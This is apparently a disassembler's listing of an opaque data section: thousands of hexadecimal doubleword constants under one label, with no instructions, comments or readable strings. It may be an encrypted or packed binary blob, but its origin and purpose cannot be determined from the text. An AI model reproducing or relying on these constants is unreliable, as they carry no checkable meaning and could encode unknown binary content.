132D0C6Bh dd 506CD525h, 9F71B73Ah, 2630B88h, 887CEA80h, 15A102F5h dd 0BB40FC2Eh, 0B2EFB596h, 0C14B8B1Eh, 0A67B59A5h, 5CF24C7h dd 0D3EEE445h, 0F293D65Bh, 0A1DC0840h, 69EE73C0h, 0ECC1B450h dd 13DB79F4h, 0EEF64CE4h, 0AFB8940Eh, 0C5ECAFDCh, 6492E628h dd 797B57D7h, 18E8C184h, 787A04AFh, 0E6503261h, 7AF82699h dd 0DEDB6BF9h, 58D57E0Dh, 16B11F60h, 62F502h, 99337484h dd 3BF3E9F0h, 9AAAC0C5h, 6FEC16B9h, 0A2B6EE21h, 0A7127076h dd 0D2ACE8F8h, 62133B0Bh, 0A1C05F14h, 0EB7630DDh, 211E595Ch dd 64B78114h, 0D854F653h, 3D25E901h, 881B59D4h, 8003A4F8h dd 9BC060E1h, 60C9B203h, 0BC7EF6EFh, 927FEFC3h, 0AC4B5260h dd 5FB5803h, 3AAD5897h, 6C0351ADh, 1C552A7h, 3294FE6Ch dd 76390AB9h, 10E46ED6h, 0B865A29h, 8F19F38h, 0C37DB05h dd 0C1F32A82h, 982E7C44h, 59F29AFh, 98BB4C5Dh, 59648F15h dd 5188EA11h, 45855A58h, 0A5096DE1h, 225EFC6Bh, 37C95250h dd 10DB6812h, 1E010C0Ch, 58A40285h, 0A759E934h, 625571CAh dd 0EBE07F30h, 7A132DC3h, 0EEA966DCh, 193F3048h, 736C8CBh dd 25971809h, 0E9F0E04Fh, 0B0CB4CFCh, 3821AF96h, 0B26B5490h dd 0E32D056Bh, 92106F5Ah, 0D306088h, 0F53F2BC9h, 9950997Ch dd 80F13EEh, 3575E03Ch, 5B330AF6h, 0C005220Bh, 0BF4348DDh dd 0F920E4C2h, 471932BAh, 9D34E8F1h, 1AB6D7D2h, 11CF609h dd 88F6A7CCh, 7B958C4Ah, 0FB0166D4h, 639F6A52h, 0D664C561h dd 0FD5CB531h, 5FA50053h, 700CC92Dh, 0D8682923h, 0F02C0842h dd 0A5580E10h, 6E5DF4Ah, 0AE51E957h, 0A8424F14h, 44ADB1E5h dd 0D542A26Fh, 99F2D9Fh, 4B095CFh, 0D7C348E9h, 3DCF6253h dd 0C6C1D104h, 0F04DD2Ch, 18A294C6h, 5D7A893Ch, 0C935C597h dd 4B816DDh, 7B151197h, 0C016B221h, 5556DBF7h, 0E8401BDh dd 0D0E96D15h, 9EE33FDAh, 0A5132C94h, 0F797FCC3h, 0A97AF2h dd 0DB42A7BAh, 20AB1348h, 0B527B93h, 0B9F42DBFh, 49C198D5h dd 186796F2h, 6C5A24EBh, 1D14F0BFh, 5259DCCAh, 0B0FA0B75h dd 7AEE6C90h, 70B9282Dh, 0E0C94155h, 0C77D80F7h, 13536648h dd 0F0F40FAEh, 9B1A7B11h, 80CA28B2h, 5A89520Ch, 0F00C84FAh dd 63126A44h, 38D41612h, 0D5E90813h, 73BEA80h, 7B983962h dd 83D4EB41h, 1CED6CCh, 3DD1B103h, 0BC842AE7h, 0C31B92FEh dd 5012DF56h, 562D8FEh, 0CF10B60Bh, 0A0020935h, 771EB810h dd 427B29h, 48CE4DE5h, 18C50905h, 74BCF55Ah, 0DCDD10h dd 0F172A2Dh, 1249353Ah, 0AA24F357h, 4347251Fh, 0A2501B52h dd 0B77408B1h, 3161D1AEh, 0E57CBB76h, 6E761CDh, 7F140C08h dd 38C0F564h, 4546C17Eh, 5DEF0078h, 3E11B85Eh, 68B45241h dd 71BF5700h, 121EA118h, 0B8D79AE9h, 241DD612h, 0F7906067h dd 0F068B5D9h, 4827A1DFh, 3C9E7EEFh, 3A41F283h, 0E2F87008h dd 14373D3Ch, 1DA71853h, 0B5AB0265h, 0EFE81409h, 0A36B8D2Dh dd 0E0D38055h, 9B6A7E68h, 0E4230BF5h, 6382A812h, 0D14105B9h dd 666801C5h, 2FCC5FC6h, 3015DC80h, 0E9537309h, 0BBB760AFh dd 5B65391Ah, 2D87C04Eh, 2B027938h, 69E9553Ch, 5A2E7E8h dd 0F802ED83h, 6FD885AFh, 5518948Bh, 0D5C3A53Eh, 2E33221Eh dd 0EAC409D6h, 9456F0EEh, 0A5596038h, 4BED965Bh, 778C1493h dd 0EB53F45Fh, 772F4C12h, 57E459ECh, 8B82E80Fh, 8236765Ah dd 6F03116h, 8B6421E1h, 0DFD80934h, 0E927B994h, 4278054Ah dd 0C793981Ch, 52D39BAh, 0D869098Eh, 5E44595Ch, 0D8D818BCh dd 78301BABh, 3FE80C06h, 0B5754BF4h, 0C0806D8h, 0E95F1480h dd 40C03175h, 9D6873B2h, 836BB905h, 0C2DBE950h, 0B3F8C34Eh dd 565AF602h, 0FBDE4107h, 9E166ABBh, 3A04D016h, 0F3A85EF0h dd 58743B1h, 475F1200h, 5816052h, 0CB352DF5h, 1786ED07h dd 31EA8DD8h, 6ECF3A81h, 0F052CA63h, 620D3168h, 5AF5AE4h dd 0E05C387Fh, 2AD29FE3h, 0E0B9A90h, 7648350h, 60120888h dd 0CF7BC076h, 0E2464C1Fh, 0A162D718h, 0BA1D6857h, 92683F6Fh dd 66503727h, 552E2002h, 7585CE90h, 18395D08h, 152DEC59h dd 287BA72Eh, 96F45A97h, 0EEF34B07h, 0DCF66B22h, 0DED4272Ch dd 0C3B3979h, 6DC45D03h, 5827197Ch, 51997509h, 6B8E3050h dd 7321E726h, 305BDE83h, 0B8D0BB46h, 4E208710h, 15AF14EDh dd 762EA00Fh, 490EBA13h, 5BBDFA40h, 7FC10030h, 16D9402h dd 8817392h, 9AAC3E5Bh, 52D156DEh, 48C6A86Dh, 5E9F4385h dd 401290CBh, 8B75E85Ah, 556C02F7h, 0E27F7E44h, 0BD03C960h dd 7D9FD093h, 7CCD0581h, 0EA09AD2Fh, 34390500h, 0E3CAE962h dd 0D5F62C80h, 5966E888h, 68C18606h, 2E79128Ah, 7187785Bh dd 5D680083h, 9E65972Eh, 3D411528h, 4C2CB20h, 576B2DA2h dd 6ECF942h, 654C3488h, 6F39000Ch, 0D701C280h, 4E4BFEE9h dd 0ECE87025h, 4BEB311Fh, 0FD7E0A4Dh, 1841392h, 4BB0CFAFh dd 1CA79AACh, 0CB0581CBh, 1B9C727Dh, 6B14D280h, 0C67602Bh dd 33D07782h, 0C20E4361h, 5CEAD95Ah, 9C010B68h, 0C5266847h dd 0DE01FBC8h, 292E7B6Dh, 82840DBh, 9151535Dh, 2AFFCA27h dd 368A9AABh, 6861A6B6h, 99730B57h, 4E006548h, 0E910C26Eh dd 0BBBF5848h, 0C6F88219h, 1E5C3098h, 0CAFCF193h, 31711206h dd 709659CEh, 0C27C9FB3h, 6067E978h, 3CF723F5h, 575F4850h dd 0C45A59BCh, 0F54594ECh, 0E380FF70h, 5C4B2971h, 0C4040E3h dd 0A08D2FE9h, 17670E2Ah, 1C1EA717h, 0B5A8B604h, 3FC5B14Ah dd 0A54E69FEh, 8B4545E7h, 277771E9h, 0FE21C774h, 0F9EC585Fh dd 0D628BFB4h, 6302088Fh, 0E217AB20h, 9E042B51h, 0E0175F64h dd 91B2D259h, 9798B93Ch, 58B8767Eh, 1516CD93h, 6F9FAABFh dd 0F412441Bh, 8A40C292h, 1D3E33D1h, 1E50926Bh, 64052420h dd 0F71C5C04h, 8E7CD525h, 0DA491665h, 19FC7451h, 2BB056B5h dd 0D558560Bh, 78D2931Bh, 6F77175Ah, 7B65C6B5h, 0E8358023h dd 523E220Bh, 358E5F48h, 1850AC21h, 2EA42AFCh, 0B56DB2CEh dd 71427450h, 97E7B414h, 0BA582820h, 19E1D4C5h, 56956542h dd 0D328AEDDh, 0B792B85Eh, 0DDFE9EF2h, 1C743CA1h, 5362075h dd 5F4E7709h, 0E9D08171h, 89A76C4Bh, 0F1C3225Dh, 0F1FB5530h dd 2A22E904h, 52ADD6h, 62D65919h, 0E4451F2Dh, 460D5F1Eh dd 0A00BA6C9h, 0B56E4FF6h, 420BBFF1h, 0E905E171h, 55BC6598h dd 0CD9562C4h, 6ACA60C1h, 9F98082h, 0C0204E12h, 829670Ch dd 0FF920122h, 0FB410882h, 5B127D2Ch, 0B292D71Eh, 0BBF08E0h dd 0A1C648Bh, 430C8200h, 0A2B70421h, 35BD92Eh, 4CBADC88h dd 0D1274774h, 0A64BA409h, 0F1E9C148h, 470A9D7Fh, 0DCA06193h dd 2845BD5Fh, 0D670BB8Bh, 0F8D57253h, 47510BDDh, 8A4820D2h dd 0FFC0E30Dh, 132928F5h, 0E0489D44h, 73146EC5h, 2A811A9Bh dd 0B23CC8DAh, 42512D3Dh, 444EC0A8h, 5E6B3DE3h, 3B7E907Fh dd 7F041F39h, 2E4BFE9h, 0DFCE8956h, 0B99A50C2h, 0A531CFD7h dd 0E9E1C056h, 8F7B2EA9h dd 741425E4h, 9068C783h, 5E63946Fh, 5AE4E939h, 0E673B2E3h dd 0B7519F05h, 90ACACC4h, 9055A50h, 155B7693h, 23480200h dd 14E6770h, 805D9E1h, 57CFB204h, 0F2805B03h, 0CA937013h dd 129ECBB8h, 0BE9BF08Ch, 6F60230Bh, 27A7E18h, 470BBB2Dh dd 2CAF21E1h, 5B582E8Fh, 3536E660h, 39428242h, 57780809h dd 0B921D631h, 9932C546h, 196C5A58h, 0F3AA9C56h, 2F86787Fh dd 5E737584h, 0CBFB583Ah, 0DB65845Fh, 0EE3E74EAh, 6EE78D84h dd 4A74AE4Fh, 0F7B32CEBh, 1536DF60h, 107C5756h, 635AE9h dd 0BA696C2Dh, 12DB053Bh, 0CA54C64Fh, 360B7EDBh, 0F114985Fh dd 17E9E16Ah, 0F8040464h, 30B7BDDDh, 7026680Bh, 0AF6253D6h dd 0E05A05D6h, 0DC5E3D2Dh, 0A3258844h, 211062AEh, 50A33DF6h dd 0E6545789h, 12D99D30h, 0A358BA71h, 0B23017CBh, 0C8B0B36h dd 8D8BA45Ch, 0EC65D14Eh, 0D834E98Fh, 8AEFC9C6h, 0FABC7635h dd 2EDC004h, 30754D0Bh, 95B93E63h, 0F92D95E7h, 8B5BA7D6h dd 125A02EFh, 1071C127h, 915B900h, 156E409h, 0D18082CBh dd 972D22Ah, 1667D31Bh, 52133370h, 0C2C0EA89h, 0F0E9435Dh dd 0BFC0AE1Eh, 38789541h, 6AEC5B04h, 3F27AFE5h, 7A846643h dd 13545A9Fh, 5E8EAA13h, 0E9163320h, 25B31073h, 61C0D412h dd 3899BE2h, 274AF15Dh, 428CA382h, 5F60572Ch, 34331484h dd 58010C6Ah, 0CF331B5Fh, 37BAF9A1h, 58287058h, 0DC0CBB41h dd 0C628B21h, 164B1763h, 0F9F8007Fh, 2941A7FBh, 0CF2CCB4Eh dd 589F01EBh, 0ED68030Eh, 1F326E4Fh, 64C8D73Fh, 641340C5h dd 8EE00CB5h, 5C02E92Bh, 0C146C67Dh, 272A137Ch, 7D2FD56Ch dd 20ED248Bh, 3BFCE813h, 304151B2h, 0DF5B0226h, 95C47336h dd 0BEACB76Ch, 8B7504E5h, 52C7C842h, 1CC04614h, 35CC09D8h dd 0DFE0554Fh, 3E7D4A49h, 0B5E040F1h, 4C5A0D43h, 5F68D0A4h dd 4B7B4428h, 0F61A71h, 9861AD83h, 1EDEC0Dh, 681E6541h dd 73FB43E9h, 0F3AD4FD0h, 5D0B9005h, 0F999EB11h, 0AFF5246Dh dd 8AC590B3h, 0D3A9ED40h, 7DF3BA01h, 317C5C31h, 0AAF963C4h dd 0A14A3AF3h, 926C7DFEh, 0EC12D7B8h, 0A645B81Ch, 0E71CB5B7h dd 0F0ACDBB4h, 0D0A21016h, 2ADBC280h, 0A89E1215h, 4A08EA14h dd 0D60966FCh, 8004B51Fh, 35D7BACCh, 0AB447A60h, 7689030h dd 610392E1h, 5BC9CE6Ah, 252AAF4h, 5F154DD5h, 5C0421C6h dd 296D4934h, 0B4E20852h, 0D0BF7F28h, 0EF5D984Ch, 9405B229h dd 0AA3C5F33h, 1168C580h, 67BC9623h, 4CC18E85h, 0CCF1215Eh dd 75FE1C1h, 71C957A2h, 0B198F8D2h, 7D5B0B13h, 0FC8FEEB0h dd 0C14F163Ah, 1D9D04EBh, 40FC1713h, 9EDED902h, 0B9C03108h dd 0BB80903Dh, 0E40C1EDDh, 0DA528C18h, 62E2615h, 0F300DCD0h dd 11D92503h, 87DB5FF7h, 0BC3FC75Dh, 89FE970Ch, 58391950h dd 955BE740h, 0DD6260DCh, 0C6054999h, 0C5CFECDCh, 0F2BEEC3h dd 5E65CDAAh, 498CA0Eh, 6E63685Ch, 4F2916D8h, 2374ABC1h dd 68F32CBEh, 0F2BD485Fh, 0C575126Bh, 93CC4B9h, 6813604Dh dd 6E0D3FF2h, 0C1808849h, 0CD8105EDh, 933FB612h, 0BF7F01BFh dd 314FBD65h, 957A80Bh, 0F887CF2Dh, 0A7F10B89h, 0D180A021h dd 996CACC9h, 86183E61h, 0C06B9744h, 0FC4CC6E0h, 0A3020CDFh dd 0CA75C86Bh, 4368DF3Dh, 1B3239F2h, 84F7544Eh, 20F85D07h dd 15E0E260h, 0C297B8BCh, 0D53942BCh, 0E4FD19B2h, 0C0812007h dd 0CC133B90h, 0B4044989h, 0BA85DEFh, 7E6D68B1h, 2AE019CDh dd 0A0387D96h, 9E1910F4h, 0FB68E111h, 0C6CE3B71h, 6858C302h dd 71466C5Eh, 49F9799Fh, 2CCB704h, 7E3A7A68h, 6A0159DBh dd 0A1307EB5h, 0AA09BDACh, 218B08D9h, 0ED5F05FBh, 817840AEh dd 43354DE3h, 3AC404BDh, 52D234B8h, 0A16F98A3h, 0D167E09Fh dd 0C78F97E2h, 7A20EE49h, 885B38B9h, 20A0555Eh, 4D169F7h dd 0B20F3900h, 95FBAACh, 0E2E21A0Fh, 0FE46DE3Dh, 483609F5h dd 0F4C7DE8h, 294B5306h, 0EA805FFAh, 0E2D2779h, 681489D9h dd 267B4894h, 82083CAh, 60171CD0h, 9A0D3318h, 0A0CC01Eh dd 0E9556524h, 0CCF41925h, 755726A9h, 4C774055h, 895E6EB3h dd 0AAD28EA2h, 2281EEC4h, 252EA16Ah, 0C49CEF49h, 0CDA9546Dh dd 82A7B8F0h, 0E5EA6071h, 2DC90016h, 2883079Bh, 551C829h dd 0ACC17E07h, 3000EFEBh, 200358E7h, 0C2805BFAh, 83B6F188h dd 92010325h, 99E8D331h, 0C392BCA5h, 7502D1A8h, 467F9DC2h dd 513DF873h, 0A82B08EAh, 4DDD4F76h, 6B49CE41h, 68B4A03Ah dd 6098405Eh, 193816FDh, 9419BB14h, 906B0726h, 0E349F7C1h dd 0E2A9FE2Fh, 20AD8017h, 123E3236h, 4D5C0EE9h, 9804DA41h dd 77A4FF80h, 0DE7625CFh, 0C1203C5Ah, 0DB5E503Eh, 96BD41EFh dd 21BABED8h, 3F03963Fh, 978A74E3h, 4E04589h, 120BC7A9h dd 0C5A85E18h, 18571790h, 21FCB145h, 65E26B16h, 414AC4D9h dd 3AE427A9h, 408C8131h, 0D0410502h, 0B5F02A8Fh, 0CE3316D2h dd 8F91AA1Eh, 203C77E9h, 0BE364132h, 2D177052h, 9AE287Ah dd 0E46078EEh, 3A9FF021h, 4989F629h, 0BA52E200h, 0C00121Ah dd 9BE563Ah, 0B0644349h, 20834B62h, 368B6841h, 0BF00189Fh dd 64F183Bh, 0B0C97E29h, 2D6F92Dh, 7C1AE9DAh, 0C11D2EE9h dd 36149168h, 7970277Ah, 88518447h, 2A09AEF9h, 50A9581Ch dd 40869852h, 0F733805Fh, 0B10A06ADh, 0E7E461C7h, 8C12CC6Eh dd 509F4906h, 6CA03370h, 23FFC377h, 4C1666E3h, 0D0EBB9B0h dd 7343E9DCh, 0F5C87AE1h, 4E520B1Ah, 0A9504B54h, 89AFB9A1h dd 1C4818BFh, 13F39011h, 0BFCD93E9h, 2D2B9D39h, 90DC6BD1h dd 28964056h, 1DD0DE48h, 0F49D0CECh, 6364C45Dh, 306CEA1Dh dd 715DC181h, 0F5EC348Fh, 0E259C9A0h, 0C6A1A00h, 999A0A2Eh dd 0EAFE116h, 0DBE96C04h, 9FB8FBA0h, 2AD3AB38h, 17B5609h dd 687BFE44h, 458170Ch, 12C28CC3h, 0FE7409EFh, 1BF1712Bh dd 2437C5CBh, 0B34E12DEh, 0D6CA124Bh, 502A6AF7h, 0C9B0904Fh dd 0DF815533h, 20C94831h, 5D98DD5Fh, 0BE0396BCh, 0B06559h dd 2857C78Ah, 0F70118BFh, 8A2EFF0h, 7AA821F9h, 89A83E01h dd 5AD72982h, 0F62CF8D5h, 56ABB092h, 9460DFECh, 2818F6A3h dd 4E25248Dh, 0A2B5027Eh, 8EB41E0h, 2158C207h, 0ED602723h dd 604F4A02h, 198B1853h, 6A950B06h, 0E90802A5h, 25B8D4E0h dd 0C6689521h, 6DFB8944h, 6BAD767Fh, 0CCA83BFDh, 45BEF4BFh dd 5E83BC41h, 9EE41CBh, 0BD0307DBh, 0C4B0FBFh, 3451D165h dd 73C3A324h, 1CEB7BA9h, 0C25BD828h, 0CD09E9F8h, 2D487452h dd 6B700CDh, 0A1A90235h, 64FB48Ch, 2886DDE9h, 0E340E59Dh dd 0A24BF09Eh, 9261F2h, 6762893Ah, 6320E976h, 29519FDBh dd 2ECD273Dh, 3B35C435h, 0DCA1B3E9h, 0BF6681DAh, 1A955822h dd 207DA12Ch, 0FF907405h, 65699D35h, 62D7A401h, 0C12F751Ah dd 2A4FD263h, 133A82E3h, 0C0594445h, 0E74596EAh, 9702415Bh dd 4C530668h, 253105EBh, 1C967AE0h, 0CE81C1A2h, 24F121DCh dd 0A9181323h, 0AA4CD873h, 1FB3E0Fh, 8147CD1Dh, 0A5E96319h dd 0C4532CE3h, 0C141A987h, 21CE2309h, 258AF038h, 0D8919E27h dd 315195CEh, 0D0BFCFC4h, 90685534h, 77F03909h, 6E90775Dh dd 0F9A44CB6h, 7E389178h, 69BE5A16h, 4057EEFh, 0B4E86166h dd 9E6EE2E7h, 2EA74655h, 80ECA492h, 1CFB366Dh, 3F8CB31h dd 8EA7F34Dh, 40F4074Ah, 0C294B1D4h, 1CC5D1AAh, 0BDC60423h dd 0FC3EE126h, 0F1E9E0C5h dd 8F3A95F3h, 0DFE2B40h, 480E2506h, 0BD0DF935h, 10F42989h dd 0BBAA043h, 575E5D78h, 0CB69FC06h, 8702C018h, 82B1A063h dd 343D28F9h, 0A9883B83h, 4A7F72DCh, 0CB51A25Eh, 40596094h dd 3088B80Dh, 0EF962C41h, 0BF406FF4h, 0D5812FE9h, 0B309835Bh dd 88D3710Dh, 0BB00ED27h, 0BACC1379h, 59CB2529h, 8E6C9F2h dd 7CEB014Ah, 0BC0B0DC8h, 5632EC43h, 860A0BFEh, 5797B553h dd 0E08500BFh, 0E96C8316h, 0B1A2125Fh, 5ACF7107h, 5B24B2B5h dd 0D137AEDAh, 12313450h, 8E683E5Eh, 1E396DFh, 0ED138DB7h dd 6A0C827Dh, 0D6A6A2AFh, 44490D9Eh, 9FEAF84Bh, 57472D09h dd 2C31DC59h, 24FF0973h, 0AFBC2C51h, 743D8955h, 0CDA788B8h dd 13D6B914h, 7BE862BFh, 0EE33BF4Ah, 680B179Bh, 0DE34B884h dd 0BD96D404h, 8FBB5681h, 0FB8987Eh, 6F5D3E60h, 9E4F294Ch dd 0CEF18135h, 2B0D9458h, 1DD2DEE0h, 5643AC37h, 0F9C2876Bh dd 9E08D85Bh, 72F18250h, 3CE0E049h, 0E8931C2Bh, 6580ED97h dd 3D068EBFh, 0DA2D44ABh, 0DBD148C2h, 0C25A6889h, 4CBEF52Eh dd 4769E979h, 0FDD2402Bh, 9BA54C50h, 296F1317h, 0C865EC5Fh dd 2094C69Dh, 0B900D3E8h, 22885DA4h, 0CC91D9F7h, 5F9AFDF8h dd 92C5585Bh, 12445080h, 0E9E80C5Ch, 0EA6108BEh, 0FACDDC1Fh dd 0BFF4907Dh, 2D02916h, 158C3CDh, 0A76C5661h, 169D666Bh dd 5470314h, 122DE8AFh, 53420B07h, 0F749787Bh, 0CEBED045h dd 0B89D5481h, 581B8AFh, 0E51F5B41h, 5B803F31h, 730815C5h dd 0BC295EA5h, 40084153h, 6A6FCD55h, 1A68B737h, 7FBDFF60h dd 0B3F0C421h, 0B0F540D7h, 0BF9F16EFh, 0D3BC60C9h, 1AB97403h dd 0D27B9E31h, 16A2F4E1h, 854EA2ACh, 0C5EA53B1h, 50D903EAh dd 0CF93FC88h, 579ABB1h, 32E0C7BEh, 185507E0h, 0B7840516h dd 992434E6h, 1ACE1554h, 0D0F3626Bh, 0F694B549h, 3E9A2DFCh dd 7B72789Dh, 167A1056h, 0FD290301h, 24DEE9h, 2BCAF1EFh dd 0CF316021h, 25AD595Ch, 32EF0F6Ah, 8701C813h, 87CB84DDh dd 2C0B83Fh, 522D95EDh, 14517E57h, 0B84808C5h, 655D393Ch dd 3723F124h, 6DC04958h, 0E91271F2h, 0D4BEC4D9h, 0DFDC2D2h dd 62B0A376h, 0FFD6852h, 5A76AD46h, 0ED8780E4h, 70CC93B2h dd 4CAD2568h, 6680809Ah, 10834D96h, 41C98102h, 7E59B270h dd 822C846Fh, 9C67C64Ch, 73248C94h, 3C1DC402h, 84BDC2Dh dd 0B9016293h, 48822E75h, 823AFC20h, 0E4E18EC1h, 1EB853ECh dd 0E0277D09h, 5952565Eh, 68FDC01Ah, 70E9490Ch, 0A40B586h dd 5F65B80Eh, 52E00FD3h, 1E2D5800h, 21758302h, 3C038AB8h dd 4C262507h, 24F1A73Bh, 0D820C522h, 946812CDh, 326082Ah dd 12440616h, 5C05A281h, 84B61651h, 0DEE6BA39h, 1EB0AB50h dd 2EC12806h, 0ACA30CE7h, 0D295919Dh, 0A6472082h, 0D7F54ABFh dd 0A1687CE8h, 3A09DBB9h, 259661Eh, 44145098h, 5327429h dd 3EE05E0Ch, 48220D6Bh, 0E90E2952h, 530A522Ch, 3080E3A0h dd 0D69823B7h, 6DE3A118h, 0B4F65096h, 6B4873B6h, 0A0288BA0h dd 0C6EE8156h, 4F1B1241h, 0D26AEC5Bh, 0EB80CD41h, 0CE61305Fh dd 0EC6BC3CDh, 88FAA44Ah, 88ECEE05h, 6E5F0A4Fh, 4D87BF41h dd 0BF7063FDh, 0ACE6B315h, 0AFC00857h, 0F5E9511Ah, 19F47129h dd 4E7B6878h, 0A35CE841h, 2ECEE160h, 1A776730h, 80363D03h dd 0F0A09964h, 0ED5C835Fh, 7247355h, 5207304Dh, 2D601973h dd 75E75815h, 246CFA0Dh, 8121404Eh, 18326935h, 46B8D428h dd 0E970C8E2h, 64EEC94Ah, 0E280BAD3h, 7A756068h, 81E5B58Dh dd 71ADF681h, 863F4348h, 3602120Dh, 0E90AFBE5h, 8750E85Eh dd 30D6C2CBh, 2D687E11h, 0DE262115h, 2703C56Bh, 2648785Ch dd 94E03CAh, 5CC68599h, 0C6B4B52Dh, 4FE6F2B8h, 0B8DF24E7h dd 78FB5ADFh, 0F16E11E0h, 80041DE6h, 3BC2C7C1h, 1536858h dd 974B98F7h, 7B71E00h, 2A58EF80h, 0C6D92F88h, 6EE80B09h dd 0CF80748Eh, 231966C3h, 9CE0CC0h, 2FE972F4h, 5648B50Ch dd 11BF8396h, 0FDFD5041h, 0AB1D842Eh, 0D08F9139h, 0CC939B68h dd 745B4FD3h, 3C6D2FD8h, 0A75D7644h, 70D6E903h, 0E1B06CABh dd 6A120E21h, 65035643h, 0E9235ED3h, 0BA4D2BEh, 252D1003h dd 6834B05Dh, 131BB280h, 0D0672EE9h, 3A09270Fh, 0D5013513h dd 0C99A7CFFh, 4957B4AAh, 0A9C0D524h, 0C2309551h, 270BABF2h dd 89092B31h, 3EB60034h, 979AA039h, 0F929D084h, 54E909C8h dd 4F1275FCh, 6616C5Dh, 0C835A5EBh, 960B0C69h, 5D24F219h dd 0F088728h, 0AAD4A4E9h, 0A2E188C7h, 0F3D5CB15h, 0D348A747h dd 0C45FFE80h, 0F3F44080h, 8E405C0h, 0B8413CE9h, 111CC563h dd 5C1CD4CBh, 9B752740h, 66D780B8h, 4F4EA5Ah, 0CCE9A12Ch dd 0CA07ADD2h, 90248930h, 12A5E906h, 46C10421h, 0EC51BA33h dd 8A37E8Eh, 565A25BAh, 92D552FEh, 94B8006Bh, 405D917Dh dd 6A200105h, 45E916CAh, 0F7579E7Bh, 1B3844C2h, 8AC66047h dd 35E0511h, 727A98E9h, 0F15F6A6Bh, 6859023Dh, 0BADD4383h dd 31325519h, 768FD21h, 39776E16h, 4BA0162Eh, 690B9649h dd 1747E180h, 0ECC110CEh, 48B97936h, 4C1EF64h, 0B7A6AA14h dd 0E9771801h, 0FC50D313h, 7B377746h, 0E4B0C3FCh, 9D2DCF11h dd 0E8EDB3A0h, 4A4A2F72h, 3AF8084h, 0B2C8E3C6h, 5BDCE954h dd 0EA5EFE97h, 842817E3h, 0F25CF97Eh, 768958A4h, 3B72B55Ah dd 87559495h, 37478B98h, 56164C73h, 9DFE3FCh, 5D8B59CEh dd 0F83E12Eh, 0DE34233Ah, 0F3AE0DF3h, 40AA5A46h, 7267EE28h dd 5F131C92h, 67B41F68h, 6BC941DEh, 2C5B314h, 2D5C3205h dd 0A7858141h, 0DBDF4849h, 17C6C0AFh, 0EA202EE9h, 0AA688214h dd 6B776370h, 351CC996h, 12B41B2Eh, 34402F98h, 0D4F2EAA0h dd 0F5222C05h, 1695C8E9h, 8438F2AAh, 0CCEBDA14h, 414BAAECh dd 473936D1h, 7851BF00h, 29BA8314h, 0E7D11F87h, 1075BC5h dd 0A09031ADh, 40229A05h, 0FDD1B42Bh, 46AA3612h, 7D0B3A1Dh dd 1704DEE7h, 5E07A799h, 4B84B9F8h, 43F70FB2h, 0CCE3D143h dd 58780380h, 0C286020h, 0C1CBA9B5h, 8F5E92Dh, 4707A32Ah dd 75B22C4h, 0E67F74ECh, 2D1FACA9h, 0CBDE4DA4h, 705E80Ah dd 46BD5317h, 17B42E9Ch, 2223FF44h, 0FDB3B25Dh, 32E16248h dd 0D64C7E25h, 77C20959h, 0B16F69FAh, 0B6EC4E22h, 3DE07CBAh dd 8AB35A4Bh, 30090813h, 0B7BB537Bh, 57B46F00h, 13F3E381h dd 0ECE3B005h, 0EBD10602h, 32BB9DE9h, 80C9FE18h, 67E1C01Ah dd 93CF0C06h, 0C882EEF1h, 384CF255h, 3B9242BDh, 0DA360E2Fh dd 0BB33ECE3h, 0FE0CF6C9h, 0DD9CC2D5h, 81905AEEh, 0FFF68E32h dd 0B70352C6h, 3AF02D41h, 34F548D4h, 0D09A447Fh, 7EBF00A9h dd 0A155C902h, 60649FC7h, 3EB7BC1h, 0E45FF381h, 0EFB02674h dd 0D90C3622h, 5CDF2953h, 7A739C87h, 0F32689DFh, 0E95B83AAh dd 3702E05Fh, 0C025E4F7h, 0EA824176h, 92A4F63Eh, 9AF99924h dd 42E5184h, 0B3FACE31h, 0B0B69630h, 544AEF25h, 9F209AF0h dd 0ED98C5F2h, 0C4DAA8A8h, 5E0F3E72h, 434D7CC6h, 4C53F500h dd 0D368254Bh, 4B9A9764h, 46C0CD60h, 7A5CB82Dh, 76EC20F9h dd 9616057Fh, 17B00DA8h, 0AFCA2481h, 87A62CA4h, 195A38A0h dd 889D2D00h, 18C5D759h, 0CF82356Dh, 20785629h, 1AAC9B08h dd 1EF56C01h, 4EE92C41h, 8275A590h, 7D736BE5h, 0F1C09B91h dd 6059D9C8h, 0BEB4C9DBh, 3F81DEE9h, 1DD37A18h, 0C413DDF6h dd 0EAAD1Bh, 63222DEFh dd 429D67C7h, 0F0070970h, 0E9551771h, 0FD1A21D8h, 0FDA96E5Fh dd 0E01F165Bh, 515015DEh, 4513FA30h, 0D5005AB4h, 0EC6924E6h dd 0E9F31F21h, 0AAD12640h, 0C5E32063h, 62186812h, 0E9B138ABh dd 13FD124Eh, 0BA8F726h, 672B1D5Fh, 4850347Dh, 0A001E57h dd 534A0C6Eh, 33E01368h, 0CE01124Eh, 184927D2h, 3BB7802Fh dd 437D223Dh, 0E62CB04h, 9F8050D6h, 0BF2416Ch, 5BDD3138h dd 62BF61F8h, 0D7C892E2h, 5740B86Ah, 30B9BB21h, 4D2718BCh dd 955577DFh, 5DADE6E7h, 166CEA30h, 28F199BDh, 0B407A53Ch dd 1D7B631h, 0D85258E6h, 0EE17D06Dh, 3211D6F6h, 685603CAh dd 0A4A221ABh, 5807A3FAh, 838D4F8Dh, 5BDE4934h, 92CEACAFh dd 411D4709h, 0FE6D5009h, 2A1E68F1h, 560134A3h, 74458BEh dd 8BF1E53Dh, 0A8B1E981h, 0C185A394h, 6CC008E5h, 4BAA6CE7h dd 2E82297Eh, 12FFF834h, 0EB2DBAD7h, 40511652h, 2E666CDDh dd 109D0AE4h, 9DE050C1h, 6815F9BAh, 0A4C156A0h, 560970ADh dd 397C1BE9h, 6160E097h, 266783BFh, 2504AA5h, 7B3F03E6h dd 9FC7615Dh, 80E5E87Ah, 32AD5F68h, 58E0BC30h, 0F397C177h dd 69401FEh, 585B6356h, 51B555CDh, 5FC38169h, 2F29A1DDh dd 0BCC253D0h, 389E261Ch, 5CE42020h, 348564F7h, 0E1CB857Ah dd 0E9578BD6h, 0FE84E07Eh, 0F6801CC6h, 10BEFA2Fh, 0DD906A92h dd 4ABC2E86h, 628720E4h, 554B936Fh, 0BE4717BAh, 0EEE85B5Eh dd 0B530C70Fh, 1A02533Bh, 0A77BFBE9h, 0CB72F0E6h, 0EAFD6B33h dd 0AF3A415Dh, 87491389h, 1A0792DEh, 0DCF98256h, 0B18A1563h dd 0B0215E17h, 8409F33Fh, 572C430Ch, 73E360Ah, 0F9D3089Ah dd 0F75103D5h, 0F4D205DEh, 0D4FFA22Ch, 41CABEAFh, 0E4856C41h dd 0AB37F068h, 2CE91768h, 6F75DCC1h, 0AE89EB05h, 